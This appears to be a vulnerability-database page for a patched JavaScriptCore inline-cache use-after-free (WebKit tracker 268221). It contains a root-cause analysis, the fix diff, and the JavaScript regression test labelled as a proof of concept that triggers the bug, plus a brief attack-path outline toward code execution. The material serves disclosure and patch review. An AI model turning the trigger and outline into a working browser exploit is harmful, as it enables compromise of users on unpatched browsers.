Critical CVSS 8.8 webkit UAF 🔧 Commit mapped

Overview

Critical
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
DescriptionProcessing web content may lead to arbitrary code execution
ComponentJSC
Sub-componentJSC Bytecode
Bug ClassUAF
Tracker268221
Fix commitb25150796310 (WebKit/WebKit) +94/-0
CWECWE-786
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedLukas Bernhard of CISPA Helmholtz Center for Information Security
Disclosed2024-05-13

Background

AccessCase / inline cache
AccessCase is per-case IC feedback for a property access; polymorphic ICs are compiled into a JITStubRoutine.
CallLinkInfo
Compiled-code call-site metadata owned by the JITStubRoutine; its lifetime ends when that routine is destroyed.
visitWeak / delayed CodeBlock destruction
GC weak-visiting walks IC structures; when CodeBlock destruction is delayed, a raw CallLinkInfo* cached in AccessCase can outlive the freed routine.

Root Cause Analysis

This fixes a use-after-free in JavaScriptCore’s inline caches by decoupling CallLinkInfo from AccessCase (per the commit, ‘AccessCase should not hold CallLinkInfo*’). An AccessCase is inline-cache (IC) feedback data describing one property-access case; for cases that call out (Getter/Setter and the ProxyObject cases) it previously held a raw CallLinkInfo* — a data structure that actually belongs to the compiled JITStubRoutine. CallLinkInfo’s lifetime is tied to that stub routine, so when the JITStubRoutine is destroyed the AccessCase’s CallLinkInfo* becomes dangling. This was previously masked by a strict destruction ordering (CodeBlock was always destroyed synchronously first, then the JITStubRoutine cleaned up), but CodeBlock destruction can now be DELAYED, breaking the ordering.

As a result, code that walked AccessCase’s dependent cells and weak references during garbage collection — AccessCase::forEachDependentCell, doesCalls (which marked callLinkInfo dependent cells), and visitWeak (which called accessor.callLinkInfo()->visitWeak) — could dereference a freed CallLinkInfo, a use-after-free during GC/marking that corrupts engine state.

The fix removes CallLinkInfo* from AccessCase entirely (deleting the callLinkInfo handling from forEachDependentCell/doesCalls/visitWeak) and moves CallLinkInfo lifetime management to where the pointer actually lives: MarkingGCAwareJITStubRoutine now performs the visitWeak iteration over its CallLinkInfos (visitWeakImpl / callLinkInfoAtImpl), and the InlineCacheHandler / StructureStubInfo expose callLinkInfoAt so callers reach the CallLinkInfo through the live stub routine rather than a cached raw pointer.

The restored invariant is that CallLinkInfo is owned and weak-visited by the compiled stub routine, never held as a raw pointer by the IC-feedback AccessCase whose lifetime can outlast it. The analysis is grounded in the commit message and the shown deletions; the corresponding additions in MarkingGCAwareJITStubRoutine are described by the commit though not fully shown in the diff hunks.

Key insight
AccessCase cached a raw CallLinkInfo* owned by the JITStubRoutine, and once CodeBlock destruction could be delayed that pointer could dangle and be dereferenced during GC weak-visiting; moving CallLinkInfo lifetime into MarkingGCAwareJITStubRoutine and removing it from AccessCase fixes the UAF.

Attack Path

  1. Build polymorphic inline caches Run JS that creates Getter/Setter or Proxy-object inline caches, so AccessCases hold CallLinkInfo tied to a JITStubRoutine.
  2. Delay CodeBlock destruction Arrange conditions where CodeBlock destruction is delayed relative to the JITStubRoutine cleanup, so the CallLinkInfo is freed while an AccessCase still references it.
  3. Trigger GC weak visiting Cause garbage collection so forEachDependentCell/doesCalls/visitWeak walk the AccessCase’s now-dangling CallLinkInfo*.
  4. Use-after-free The freed CallLinkInfo is dereferenced during marking/weak-visiting, a UAF the attacker grooms toward arbitrary read/write and code execution in WebContent.

Impact Assessment

A critical use-after-free in the WebContent process’s JIT inline-cache machinery, surfaced during GC weak-visiting when a stale CallLinkInfo* is dereferenced. JSC lifetime/UAF bugs in inline caches are strong, groomable primitives; the advisory rates it arbitrary code execution.

Changed Functions

FunctionChangeNotes
if
Source/JavaScriptCore/bytecode/AccessCase.cpp
modified
forEachDependentCell
Source/JavaScriptCore/bytecode/AccessCase.cpp
modified
if
Source/JavaScriptCore/bytecode/InlineCacheCompiler.cpp
modified
for
Source/JavaScriptCore/bytecode/InlineCacheCompiler.cpp
modified

Files Changed

  • JSTests/stress/decouple-calllinkinfo-from-access-case.js
  • Source/JavaScriptCore/bytecode/AccessCase.cpp
  • Source/JavaScriptCore/bytecode/AccessCase.h
  • Source/JavaScriptCore/bytecode/GetByStatus.cpp
  • Source/JavaScriptCore/bytecode/GetterSetterAccessCase.cpp
  • Source/JavaScriptCore/bytecode/GetterSetterAccessCase.h
  • Source/JavaScriptCore/bytecode/InlineCacheCompiler.cpp
  • Source/JavaScriptCore/bytecode/InlineCacheCompiler.h
  • Source/JavaScriptCore/bytecode/ProxyObjectAccessCase.cpp
  • Source/JavaScriptCore/bytecode/ProxyObjectAccessCase.h
  • Source/JavaScriptCore/bytecode/PutByStatus.cpp
  • Source/JavaScriptCore/bytecode/StructureStubInfo.cpp
  • Source/JavaScriptCore/bytecode/StructureStubInfo.h
  • Source/JavaScriptCore/jit/GCAwareJITStubRoutine.cpp
  • Source/JavaScriptCore/jit/GCAwareJITStubRoutine.h
  • Source/JavaScriptCore/jit/JITStubRoutine.cpp
  • Source/JavaScriptCore/jit/JITStubRoutine.h

Audit Directions

  • Raw compiled-code pointers in feedback data
    Audit AccessCase and other IC-feedback structures for raw pointers into compiled code (CallLinkInfo, stub routines) whose lifetime they do not own.
  • Destruction-ordering assumptions
    Grep JSC for lifetime assumptions that CodeBlock is destroyed before its JITStubRoutines; delayed destruction can violate them.
diff --git a/Source/JavaScriptCore/bytecode/AccessCase.cpp b/Source/JavaScriptCore/bytecode/AccessCase.cpp
index e1d5ddcabc2b..033bb044870f 100644
--- a/Source/JavaScriptCore/bytecode/AccessCase.cpp
+++ b/Source/JavaScriptCore/bytecode/AccessCase.cpp
@@ -701,9 +701,6 @@ void AccessCase::forEachDependentCell(VM&, const Functor& functor) const
     switch (type()) {
     case Getter:
     case Setter: {
-        auto& accessor = this->as<GetterSetterAccessCase>();
-        if (accessor.callLinkInfo())
-            accessor.callLinkInfo()->forEachDependentCell(functor);
         break;
     }
     case CustomValueGetter:
@@ -731,9 +728,6 @@ void AccessCase::forEachDependentCell(VM&, const Functor& functor) const
     case ProxyObjectLoad:
     case ProxyObjectStore:
     case IndexedProxyObjectLoad: {
-        auto& accessor = this->as<ProxyObjectAccessCase>();
-        if (accessor.callLinkInfo())
-            accessor.callLinkInfo()->forEachDependentCell(functor);
         break;
     }
     case InstanceOfHit:
@@ -844,7 +838,7 @@ void AccessCase::forEachDependentCell(VM&, const Functor& functor) const
     }
 }
 
-bool AccessCase::doesCalls(VM& vm, Vector<JSCell*>* cellsToMarkIfDoesCalls) const
+bool AccessCase::doesCalls(VM&) const
 {
     bool doesCalls = false;
     switch (type()) {
@@ -971,12 +965,6 @@ bool AccessCase::doesCalls(VM& vm, Vector<JSCell*>* cellsToMarkIfDoesCalls) cons
         doesCalls = viaGlobalProxy();
         break;
     }
-
-    if (doesCalls && cellsToMarkIfDoesCalls) {
-        forEachDependentCell(vm, [&](JSCell* cell) {
-            cellsToMarkIfDoesCalls->append(cell);
-        });
-    }
     return doesCalls;
 }
 
@@ -1213,131 +1201,6 @@ void AccessCase::dump(PrintStream& out) const
 
 bool AccessCase::visitWeak(VM& vm) const
 {
-    switch (type()) {
-    case Getter:
-    case Setter: {
-        auto& accessor = this->as<GetterSetterAccessCase>();
-        if (accessor.callLinkInfo())
-            accessor.callLinkInfo()->visitWeak(vm);
-        break;
-    }
-    case ProxyObjectHas:
-    case ProxyObjectLoad:
-    case ProxyObjectStore:
-    case IndexedProxyObjectLoad: {
-        auto& accessor = this->as<ProxyObjectAccessCase>();
-        if (accessor.callLinkInfo())
-            accessor.callLinkInfo()->visitWeak(vm);
-        break;
-    }
-    case CustomValueGetter:
-    case CustomValueSetter:
-    case IntrinsicGetter:
-    case ModuleNamespaceLoad:
-    case InstanceOfHit:
-    case InstanceOfMiss:
-    case CustomAccessorGetter:
-    case CustomAccessorSetter:
-    case Load:
-    case LoadMegamorphic:
-    case StoreMegamorphic:
-    case InMegamorphic:
-    case Transition:
-    case Delete:
-    case DeleteNonConfigurable:
-    case DeleteMiss:
-    case Replace:
-    case Miss:
-    case GetGetter:
-    case InHit:
-    case InMiss:
-    case CheckPrivateBrand:
-    case SetPrivateBrand:
-    case ArrayLength:
-    case StringLength:
-    case DirectArgumentsLength:
-    case ScopedArgumentsLength:
-    case InstanceOfGeneric:
-    case IndexedMegamorphicLoad:
-    case IndexedMegamorphicStore:
-    case IndexedMegamorphicIn:
-    case IndexedInt32Load:
-    case IndexedDoubleLoad:
-    case IndexedContiguousLoad:
-    case IndexedArrayStorageLoad:
-    case IndexedScopedArgumentsLoad:
-    case IndexedDirectArgumentsLoad:
-    case IndexedTypedArrayInt8Load:
-    case IndexedTypedArrayUint8Load:
-    case IndexedTypedArrayUint8ClampedLoad:
-    case IndexedTypedArrayInt16Load:
-    case IndexedTypedArrayUint16Load:
-    case IndexedTypedArrayInt32Load:
-    case IndexedTypedArrayUint32Load:
-    case IndexedTypedArrayFloat32Load:
-    case IndexedTypedArrayFloat64Load:
-    case IndexedResizableTypedArrayInt8Load:
-    case IndexedResizableTypedArrayUint8Load:
-    case IndexedResizableTypedArrayUint8ClampedLoad:
-    case IndexedResizableTypedArrayInt16Load:
-    case IndexedResizableTypedArrayUint16Load:
-    case IndexedResizableTypedArrayInt32Load:
-    case IndexedResizableTypedArrayUint32Load:
-    case IndexedResizableTypedArrayFloat32Load:
-    case IndexedResizableTypedArrayFloat64Load:
-    case IndexedStringLoad:
-    case IndexedNoIndexingMiss:
-    case IndexedInt32Store:
-    case IndexedDoubleStore:
-    case IndexedContiguousStore:
-    case IndexedArrayStorageStore:
-    case IndexedTypedArrayInt8Store:
-    case IndexedTypedArrayUint8Store:
-    case IndexedTypedArrayUint8ClampedStore:
-    case IndexedTypedArrayInt16Store:
-    case IndexedTypedArrayUint16Store:
-    case IndexedTypedArrayInt32Store:
-    case IndexedTypedArrayUint32Store:
-    case IndexedTypedArrayFloat32Store:
-    case IndexedTypedArrayFloat64Store:
-    case IndexedResizableTypedArrayInt8Store:
-    case IndexedResizableTypedArrayUint8Store:
-    case IndexedResizableTypedArrayUint8ClampedStore:
-    case IndexedResizableTypedArrayInt16Store:
-    case IndexedResizableTypedArrayUint16Store:
-    case IndexedResizableTypedArrayInt32Store:
-    case IndexedResizableTypedArrayUint32Store:
-    case IndexedResizableTypedArrayFloat32Store:
-    case IndexedResizableTypedArrayFloat64Store:
-    case IndexedInt32InHit:
-    case IndexedDoubleInHit:
-    case IndexedContiguousInHit:
-    case IndexedArrayStorageInHit:
-    case IndexedScopedArgumentsInHit:
-    case IndexedDirectArgumentsInHit:
-    case IndexedTypedArrayInt8InHit:
-    case IndexedTypedArrayUint8InHit:
-    case IndexedTypedArrayUint8ClampedInHit:
-    case IndexedTypedArrayInt16InHit:
-    case IndexedTypedArrayUint16InHit:
-    case IndexedTypedArrayInt32InHit:
-    case IndexedTypedArrayUint32InHit:
-    case IndexedTypedArrayFloat32InHit:
-    case IndexedTypedArrayFloat64InHit:
-    case IndexedResizableTypedArrayInt8InHit:
-    case IndexedResizableTypedArrayUint8InHit:
-    case IndexedResizableTypedArrayUint8ClampedInHit:
-    case IndexedResizableTypedArrayInt16InHit:
-    case IndexedResizableTypedArrayUint16InHit:
-    case IndexedResizableTypedArrayInt32InHit:
-    case IndexedResizableTypedArrayUint32InHit:
-    case IndexedResizableTypedArrayFloat32InHit:
-    case IndexedResizableTypedArrayFloat64InHit:
-    case IndexedStringInHit:
-    case IndexedNoIndexingInMiss:
-        break;
-    }
-
     bool isValid = true;
     forEachDependentCell(vm, [&](JSCell* cell) {
         isValid &= vm.heap.isMarked(cell);
@@ -1345,6 +1208,13 @@ bool AccessCase::visitWeak(VM& vm) const
     return isValid;
 }
 
+void AccessCase::collectDependentCells(VM& vm, Vector<JSCell*>& cells) const
+{
+    forEachDependentCell(vm, [&](JSCell* cell) {
+        cells.append(cell);
+    });
+}
+
 template<typename Visitor>
 void AccessCase::propagateTransitions(Visitor& visitor) const
 {
diff --git a/Source/JavaScriptCore/bytecode/AccessCase.h b/Source/JavaScriptCore/bytecode/AccessCase.h
index 6df2b4d3e26d..8a9bac86c442 100644
--- a/Source/JavaScriptCore/bytecode/AccessCase.h
+++ b/Source/JavaScriptCore/bytecode/AccessCase.h
@@ -224,9 +224,7 @@ public:
     WatchpointSet* additionalSet() const;
     bool viaGlobalProxy() const { return m_viaGlobalProxy; }
 
-    // If you supply the optional vector, this will append the set of cells that this will need to keep alive
-    // past the call.
-    bool doesCalls(VM&, Vector<JSCell*>* cellsToMark = nullptr) const;
+    bool doesCalls(VM&) const;
 
     bool isCustom() const
     {
@@ -294,6 +292,8 @@ public:
 
     static bool canBeShared(const AccessCase&, const AccessCase&);
 
+    void collectDependentCells(VM&, Vector<JSCell*>&) const;
+
     template<typename Func>
     void runWithDowncast(const Func&);
 
diff --git a/Source/JavaScriptCore/bytecode/GetByStatus.cpp b/Source/JavaScriptCore/bytecode/GetByStatus.cpp
index c55bd4514acd..7d3b3903257d 100644
--- a/Source/JavaScriptCore/bytecode/GetByStatus.cpp
+++ b/Source/JavaScriptCore/bytecode/GetByStatus.cpp
@@ -276,7 +276,7 @@ GetByStatus GetByStatus::computeForStubInfoWithoutExitSiteFeedback(const Concurr
                 auto& accessCase = access.as<ProxyObjectAccessCase>();
                 auto status = GetByStatus(accessCase);
                 auto callLinkStatus = makeUnique<CallLinkStatus>();
-                if (CallLinkInfo* callLinkInfo = accessCase.callLinkInfo())
+                if (CallLinkInfo* callLinkInfo = stubInfo->callLinkInfoAt(locker, 0))
                     *callLinkStatus = CallLinkStatus::computeFor(locker, profiledBlock, *callLinkInfo, callExitSiteData);
                 status.appendVariant(GetByVariant(accessCase.identifier(), { }, invalidOffset, { }, WTFMove(callLinkStatus)));
                 return status;
@@ -390,10 +390,8 @@ GetByStatus GetByStatus::computeForStubInfoWithoutExitSiteFeedback(const Concurr
                     }
                     case AccessCase::Getter: {
                         callLinkStatus = makeUnique<CallLinkStatus>();
-                        if (CallLinkInfo* callLinkInfo = access.as<GetterSetterAccessCase>().callLinkInfo()) {
-                            *callLinkStatus = CallLinkStatus::computeFor(
-                                locker, profiledBlock, *callLinkInfo, callExitSiteData);
-                        }
+                        if (CallLinkInfo* callLinkInfo = stubInfo->callLinkInfoAt(locker, listIndex))
+                            *callLinkStatus = CallLinkStatus::computeFor(locker, profiledBlock, *callLinkInfo, callExitSiteData);
                         break;
                     }
                     default: {
diff --git a/Source/JavaScriptCore/bytecode/GetterSetterAccessCase.cpp b/Source/JavaScriptCore/bytecode/GetterSetterAccessCase.cpp
index 1587f15bf3e4..f54c66405c7e 100644
--- a/Source/JavaScriptCore/bytecode/GetterSetterAccessCase.cpp
+++ b/Source/JavaScriptCore/bytecode/GetterSetterAccessCase.cpp
@@ -86,8 +86,6 @@ void GetterSetterAccessCase::dumpImpl(PrintStream& out, CommaPrinter& comma, Ind
 {
     Base::dumpImpl(out, comma, indent);
     out.print(comma, "customSlotBase = ", RawPointer(customSlotBase()));
-    if (callLinkInfo())
-        out.print(comma, "callLinkInfo = ", RawPointer(callLinkInfo()));
     out.print(comma, "customAccessor = ", RawPointer(m_customAccessor.taggedPtr()));
 }
 
diff --git a/Source/JavaScriptCore/bytecode/GetterSetterAccessCase.h b/Source/JavaScriptCore/bytecode/GetterSetterAccessCase.h
index b7ae009b34b3..e8e94a9b8a3b 100644
--- a/Source/JavaScriptCore/bytecode/GetterSetterAccessCase.h
+++ b/Source/JavaScriptCore/bytecode/GetterSetterAccessCase.h
@@ -38,14 +38,6 @@ public:
     friend class AccessCase;
     friend class InlineCacheCompiler;
 
-    // This can return null if it hasn't been generated yet. That's
-    // actually somewhat likely because of how we do buffering of new cases.
-    // CallLinkInfo's ownership is held both by generated code via GCAwareJITStubRoutine and PolymorphicAccess.
-    // The ownership relation is PolymorphicAccess -> GCAwareJITStubRoutine -> CallLinkInfo.
-    // PolymorphicAccess can be destroyed while GCAwareJITStubRoutine is alive if we are destroying PolymorphicAccess
-    // while we are executing GCAwareJITStubRoutine. It is not possible that GetterSetterAccessCase is alive while
-    // GCAwareJITStubRoutine is destroyed.
-    OptimizingCallLinkInfo* callLinkInfo() const { return m_callLinkInfo; }
     JSObject* customSlotBase() const { return m_customSlotBase.get(); }
     std::optional<DOMAttributeAnnotation> domAttribute() const { return m_domAttribute; }
 
@@ -69,9 +61,7 @@ private:
     void dumpImpl(PrintStream&, CommaPrinter&, Indenter&) const;
     Ref<AccessCase> cloneImpl() const;
 
-
     WriteBarrier<JSObject> m_customSlotBase;
-    OptimizingCallLinkInfo* m_callLinkInfo { nullptr };
     CodePtr<CustomAccessorPtrTag> m_customAccessor;
     std::optional<DOMAttributeAnnotation> m_domAttribute;
 };
diff --git a/Source/JavaScriptCore/bytecode/InlineCacheCompiler.cpp b/Source/JavaScriptCore/bytecode/InlineCacheCompiler.cpp
index f771be02c801..e9d0e05c9334 100644
--- a/Source/JavaScriptCore/bytecode/InlineCacheCompiler.cpp
+++ b/Source/JavaScriptCore/bytecode/InlineCacheCompiler.cpp
@@ -1397,7 +1397,7 @@ Ref<InlineCacheHandler> InlineCacheCompiler::generateSlowPathHandler(VM& vm, Acc
     return handler;
 }
 
-void InlineCacheCompiler::generateWithGuard(AccessCase& accessCase, CCallHelpers::JumpList& fallThrough)
+void InlineCacheCompiler::generateWithGuard(unsigned index, AccessCase& accessCase, CCallHelpers::JumpList& fallThrough)
 {
     SuperSamplerScope superSamplerScope(false);
 
@@ -1554,7 +1554,7 @@ void InlineCacheCompiler::generateWithGuard(AccessCase& accessCase, CCallHelpers
     case AccessCase::ProxyObjectStore:
     case AccessCase::IndexedProxyObjectLoad: {
         ASSERT(!accessCase.viaGlobalProxy());
-        emitProxyObjectAccess(accessCase.as<ProxyObjectAccessCase>(), fallThrough);
+        emitProxyObjectAccess(index, accessCase.as<ProxyObjectAccessCase>(), fallThrough);
         return;
     }
 
@@ -2592,17 +2592,17 @@ void InlineCacheCompiler::generateWithGuard(AccessCase& accessCase, CCallHelpers
         break;
     }
 
-    generateImpl(accessCase);
+    generateImpl(index, accessCase);
 }
 
-void InlineCacheCompiler::generate(AccessCase& accessCase)
+void InlineCacheCompiler::generate(unsigned index, AccessCase& accessCase)
 {
     RELEASE_ASSERT(m_stubInfo->hasConstantIdentifier);
     accessCase.checkConsistency(*m_stubInfo);
-    generateImpl(accessCase);
+    generateImpl(index, accessCase);
 }
 
-void InlineCacheCompiler::generateImpl(AccessCase& accessCase)
+void InlineCacheCompiler::generateImpl(unsigned index, AccessCase& accessCase)
 {
     SuperSamplerScope superSamplerScope(false);
     dataLogLnIf(InlineCacheCompilerInternal::verbose, "\n\nGenerating code for: ", accessCase);
@@ -2813,7 +2813,6 @@ void InlineCacheCompiler::generateImpl(AccessCase& accessCase)
             jit.store32(CCallHelpers::TrustedImm32(callSiteIndexForExceptionHandlingOrOriginal().bits()), CCallHelpers::tagFor(CallFrameSlot::argumentCountIncludingThis));
 
         if (accessCase.m_type == AccessCase::Getter || accessCase.m_type == AccessCase::Setter) {
-            auto& access = accessCase.as<GetterSetterAccessCase>();
             ASSERT(baseGPR != loadedValueGPR);
             ASSERT(accessCase.m_type != AccessCase::Setter || valueRegsPayloadGPR != loadedValueGPR);
 
@@ -2835,9 +2834,8 @@ void InlineCacheCompiler::generateImpl(AccessCase& accessCase)
 
             setSpillStateForJSCall(spillState);
 
-            RELEASE_ASSERT(!access.callLinkInfo());
-            auto* callLinkInfo = m_callLinkInfos.add(m_stubInfo->codeOrigin, codeBlock->useDataIC() ? CallLinkInfo::UseDataIC::Yes : CallLinkInfo::UseDataIC::No, nullptr);
-            access.m_callLinkInfo = callLinkInfo;
+            m_callLinkInfos[index] = makeUnique<OptimizingCallLinkInfo>(m_stubInfo->codeOrigin, codeBlock->useDataIC() ? CallLinkInfo::UseDataIC::Yes : CallLinkInfo::UseDataIC::No, nullptr);
+            auto* callLinkInfo = m_callLinkInfos[index].get();
 
             // FIXME: If we generated a polymorphic call stub that jumped back to the getter
             // stub, which then jumped back to the main code, then we'd have a reachability
@@ -3552,7 +3550,7 @@ void InlineCacheCompiler::emitModuleNamespaceLoad(ModuleNamespaceAccessCase& acc
     succeed();
 }
 
-void InlineCacheCompiler::emitProxyObjectAccess(ProxyObjectAccessCase& accessCase, MacroAssembler::JumpList& fallThrough)
+void InlineCacheCompiler::emitProxyObjectAccess(unsigned index, ProxyObjectAccessCase& accessCase, MacroAssembler::JumpList& fallThrough)
 {
     CCallHelpers& jit = *m_jit;
     CodeBlock* codeBlock = jit.codeBlock();
@@ -3578,9 +3576,8 @@ void InlineCacheCompiler::emitProxyObjectAccess(ProxyObjectAccessCase& accessCas
 
     setSpillStateForJSCall(spillState);
 
-    ASSERT(!accessCase.callLinkInfo());
-    auto* callLinkInfo = m_callLinkInfos.add(m_stubInfo->codeOrigin, codeBlock->useDataIC() ? CallLinkInfo::UseDataIC::Yes : CallLinkInfo::UseDataIC::No, nullptr);
-    accessCase.m_callLinkInfo = callLinkInfo;
+    m_callLinkInfos[index] = makeUnique<OptimizingCallLinkInfo>(m_stubInfo->codeOrigin, codeBlock->useDataIC() ? CallLinkInfo::UseDataIC::Yes : CallLinkInfo::UseDataIC::No, nullptr);
+    auto* callLinkInfo = m_callLinkInfos[index].get();
 
     callLinkInfo->disallowStubs();
 
@@ -4303,12 +4300,16 @@ AccessGenerationResult InlineCacheCompiler::regenerate(const GCSafeConcurrentJSL
     if (!m_stubInfo->hasConstantIdentifier)
         allGuardedByStructureCheck = false;
     FixedVector<RefPtr<AccessCase>> keys(WTFMove(cases));
+    m_callLinkInfos.resize(keys.size());
     Vector<JSCell*> cellsToMark;
     for (auto& entry : keys) {
         if (!scratchFPR && needsScratchFPR(entry->m_type))
             scratchFPR = allocator.allocateScratchFPR();
 
-        doesCalls |= entry->doesCalls(vm(), &cellsToMark);
+        if (entry->doesCalls(vm())) {
+            doesCalls = true;
+            entry->collectDependentCells(vm(), cellsToMark);
+        }
         doesJSCalls |= JSC::doesJSCalls(entry->type());
 
         if (!m_stubInfo->hasConstantIdentifier) {
@@ -4375,7 +4376,7 @@ AccessGenerationResult InlineCacheCompiler::regenerate(const GCSafeConcurrentJSL
                     fallThrough.link(&jit);
                     fallThrough.shrink(0);
                     if (keys[i]->requiresInt32PropertyCheck())
-                        generateWithGuard(*keys[i], fallThrough);
+                        generateWithGuard(i, *keys[i], fallThrough);
                 }
 
                 if (needsStringPropertyCheck || needsSymbolPropertyCheck || acceptValueProperty) {
@@ -4408,7 +4409,7 @@ AccessGenerationResult InlineCacheCompiler::regenerate(const GCSafeConcurrentJSL
                     fallThrough.link(&jit);
                     fallThrough.shrink(0);
                     if (keys[i]->requiresIdentifierNameMatch() && !keys[i]->uid()->isSymbol())
... (file diff truncated)
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/JSTests/stress/decouple-calllinkinfo-from-access-case.js b/JSTests/stress/decouple-calllinkinfo-from-access-case.js
new file mode 100644
index 000000000000..a7fd1f75b1ab
--- /dev/null
+++ b/JSTests/stress/decouple-calllinkinfo-from-access-case.js
@@ -0,0 +1,96 @@
+// runDefault("--validateOptions=true", "--thresholdForJITSoon=10", "--thresholdForJITAfterWarmUp=10", "--thresholdForOptimizeAfterWarmUp=100", "--thresholdForOptimizeAfterLongWarmUp=100", "--thresholdForOptimizeSoon=100", "--thresholdForFTLOptimizeAfterWarmUp=1000", "--thresholdForFTLOptimizeSoon=1000", "--validateBCE=true")
+
+const ProxyConstructor = Proxy;
+const getPrototypeOf = Object.getPrototypeOf;
+const ReflectGet = Reflect.get;
+const ReflectSet = Reflect.set;
+const ReflectHas = Reflect.has;
+const setPrototypeOf = Object.setPrototypeOf;
+
+function probe(id, value) {
+    let originalPrototype, newPrototype;
+    let handler = {
+        get(target, key, receiver) {
+            if (key === '__proto__' && receiver === value) return originalPrototype;
+            if (receiver === newPrototype) return ReflectGet(target, key);
+            return ReflectGet(target, key, receiver);
+        },
+        set(target, key, value, receiver) {
+            if (receiver === newPrototype) return ReflectSet(target, key, value);
+            return ReflectSet(target, key, value, receiver);
+        },
+        has(target, key) {
+            return ReflectHas(target, key);
+        },
+    };
+
+    try {
+        originalPrototype = getPrototypeOf(value);
+        newPrototype = new ProxyConstructor(originalPrototype, handler);
+        setPrototypeOf(value, newPrototype);
+    } catch (e) {}
+}
+
+probe("v1", "2003629588");
+let v4 = 9150;
+v4--;
+probe("v6", 51828);
+function F7(a9, a10, a11) {
+    if (!new.target) { throw 'must be called with new'; }
+    const v12 = this?.constructor;
+    try { new v12(this, "object", 447824390); } catch (e) {}
+    a11 % a11;
+    this.b = a9;
+    this.g = a10;
+}
+const v15 = new F7("2003629588", "object", 447824390);
+const v16 = new F7(v15, v4, v4);
+const v17 = new F7("2003629588", 51828, 51828);
+probe("v17", v17);
+const v18 = v17?.constructor;
+probe("v18", v18);
+let v19;
+try { v19 = new v18("r", v17, "r"); } catch (e) {}
+probe("v19", v19);
+const v20 = [v17,v17];
+probe("v20", v20);
+const v21 = [F7,v15,v20,v15,v4];
+const v22 = [v4,"object",51828];
+probe("v22", v22);
+let v23;
+try { v23 = v22.reduce(v15); } catch (e) {}
+const v24 = [2,-354747782,-16,10251,-1485280459,5,6,536870888,-47153,-193790246];
+probe("v24", v24);
+function f25(a26, a27) {
+    const o28 = {
+        [a27]: a26,
+        "d": v21,
+    };
+    return o28;
+}
+f25(v16, v22);
+f25(v23, v16);
+f25(v15, v22);
+v24[4];
+function f33(a34, a35, a36, a37) {
+    probe("v36", a36);
+    ~a35;
+    v22.length = 1;
+    a36?.[v21];
+}
+v24.flatMap(f33);
+gc();
+class C20 {
+    valueOf(a22, a23) {
+        return ("n")[1204] - this;
+    }
+}
+const v26 = new C20();
+function f27(a28, a29) {
+    new BigInt64Array(3603);
+    return v26 * v26;
+}
+try {
+v26[Symbol.toPrimitive] = f27;
+v26.valueOf();
+} catch { }
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker.